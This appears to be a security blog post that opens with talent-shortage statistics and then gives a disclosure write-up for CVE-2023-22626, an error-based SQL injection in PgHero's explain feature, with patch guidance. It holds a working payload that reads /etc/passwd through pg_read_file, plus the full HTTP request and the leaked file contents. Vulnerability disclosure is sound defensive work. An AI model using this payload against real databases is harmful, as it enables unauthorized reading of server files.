In 2019, the CyberSeek initiative revealed that cybersecurity jobs remained vacant for an average of 79 days, highlighting the industry's struggle to find qualified talent. Fast forward to 2022, the (ISC)2 Cybersecurity Workforce Study indicated that despite a record high of 4.7 million professionals in the global cybersecurity workforce, there was a need for an additional 3.4 million to secure digital assets effectively. This represented a significant 26% increase from the previous year's numbers, and alarmingly, nearly 70% of security leaders reported facing additional risks due to this talent shortage.
The aforementioned statistics illuminate the severity of the cybersecurity talent shortage. It is not just a theoretical issue but a tangible challenge that businesses across industries grapple with. The implications of this shortfall are far-reaching, from overworked existing staff and vulnerable to cyber threats. Therefore, dissecting this problem, understanding its roots, and exploring practical strategies for navigating this complex landscape becomes crucial.
CVE-2023-22626: PgHero - Error Based SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N / 7.5 / High
1) Function
PGHero is an open-source performance dashboard for Postgres databases. It allows developers and database administrators to monitor the health and performance of their Postgres databases by providing a visual interface to view key metrics, such as database size, number of connections, query performance, and slow queries.
The ANALYZE function in PGHero is a tool for analyzing the distribution of data in a Postgres database. It allows developers and database administrators to understand how data is stored in tables and indexes, and identify potential performance issues related to data distribution.
The Visualize function on PGHero is a tool for visualizing the performance metrics and query execution plans of a Postgres database. It provides a graphical interface that allows developers and database administrators to view and understand the performance of their database easily.
2) What is “Error Based SQL Injection”?
Error-based SQL injection is a type of SQL injection attack that exploits vulnerabilities in web applications to extract information from a database by causing the application to generate error messages. This can result in the extraction of information from the database, and, in some cases, from files stored on the server-side, depending on the privileges of the database user who is targeted by the attack.
3) Vulnerability Explanation
The following screenshot shows that the user can input data as a parameter of function explain(), where the prefix value can either be 'ANALYZE ' or '(ANALYZE, COSTS, VERBOSE, BUFFERS, FORMAT JSON)' depending on the commit parameter. Additionally, the value of the query variable will also be part of the parameter in the explain() function.
The screenshot demonstrates that the query undergoes filtering before being executed, which is intended to prevent SQL injection attacks. However, error-based SQL injection attacks may still be possible.
The following screenshots show that If an error occurs, then the error will be exposed through a template explain.html.erb and the expression-printing tag of the error.
The following screenshots show that If an error occurs, then the error will be exposed through a template explain.html.erb and the expression-printing tag of the error.
4. Proof-of-Concept
The following request and response provide evidence that an attacker could potentially access files on a web server via Error-based SQL Injection if the database user who connects to the web server has 'root' permission. This presents a significant security vulnerability, as it could allow an unauthorized user to gain access to sensitive files on the server.
Affected Module:
● Affected Parameter: query
● Payload:
SELECT * FROM pg_catalog.pg_tables where tablename = '1' or 1=cast((SELECT concat('file_read: ',(select * from pg_read_file('/etc/passwd', 0, 1000)))) as int);
Request:
POST /explain HTTP/1.1
Host:127.0.0.1:8080
Content-Length: 351
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: <http://127.0.0.1:8080>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://127.0.0.1:8080/explain>
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _pg_hero_solo_session=cEhZWnYxOGlodC9RMlozcVkrTEQ3eUZ0KzVWdHhKdGhVUXpNSGZ0SmF0VmtJaHV0a3lZbG9KeDM5OWpHR1BsdkxjcldvY05TMTRTNDh1L0lCVWRXUndWWHMvWlVUMU9HTVc2a3dPMWowL2tFN1AralNSdVpGdWI1SGZESjdQM0lmVlZGN2taVWtTSHBjbllxV3ZJK0l6Y0pOckVuYzdFT2VxRkNEZlY4RDhRVlllaS8ya0pGbDdJNmhiSVdDN3M0LS04V01IalhHcHUrQ2JEbUFncytMYnhnPT0%3D--8a71a5a7b9847ae409b57017b40141df8c52c22b
Connection: close
utf8=%E2%9C%93&authenticity_token=EVnwHZoYATaBNFlGECHw2iUFbTrhWYcJOQLhu4SH6upiHiLpbVanEh7V-umtAV8Qt9KlqPhB1yy1fok9qseddg&query=SELECT+*+FROM+pg_catalog.pg_tables+where+tablename+%3D+%271%27+or+1%3Dcast%28%28SELECT+concat%28%27file_read%3A+%27%2C%28select+*+from+pg_read_file%28%27%2Fetc%2Fpasswd%27%2C+0%2C+1000%29%29%29%29+as+int%29%3B&commit=Analyze
Response:
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: text/html; charset=utf-8
ETag: W/"3e1c59f007294560c63f923c1a98490d"
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: _pg_hero_solo_session=eXorVUF0SHR2eFlkYjFuMnJQYThGazZrMlJUc1BMZGFCdHVGQ093RDcwdktZdE53bk9DUm1xcVB1cElrNlcwYlRScHVpZHpFNHVYS1NJeHZoNERwNnpEbEFSU29vNG9pbUtHMVhobVRhNWp2WlFSS1BvanJzMyszUk96UlRvYWExZTB3YjlkYXNvamsvUGQxR2xzYTJndTZFR2NzNTVmckxIVVFWVkpCRlh6ZU9xWkpwZFBzUWR0NCtBUUNOanJyLS12Wm5PaXF6ZU9tL0VVcUE3cWYrbXNBPT0%3D--efc4e392a9e69a930e3f4a051e35d5726d9728c9; path=/; HttpOnly
X-Request-Id: 4e3c2ade-0b68-47ac-879e-a338bb3cf62e
X-Runtime: 0.093014
Connection: close
Content-Length: 3526
<!DOCTYPE html>
<html>
<head>
<title>PgHero / Explain</title>
...[ TRUNCATED ] ...
<div class="alert alert-danger">PG::InvalidTextRepresentation: ERROR: invalid input syntax for type integer: "file_read: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
"
</div>
</div>
</div>
</div>
</div>
</body>
</html>
5) Patch
Starting from version 3.1.0, PGHero no longer supports the "Analyze" and "Visualize" functions.
It is recommended to update the application.
This vulnerability was disclosed to the MITRE Corporation here, and after validation, was assigned the ID CVE-2023-22626
Additional details for the disclosure along with notes from the software vendor can be found at the page below:
● https://github.com/ankane/pghero/issues/439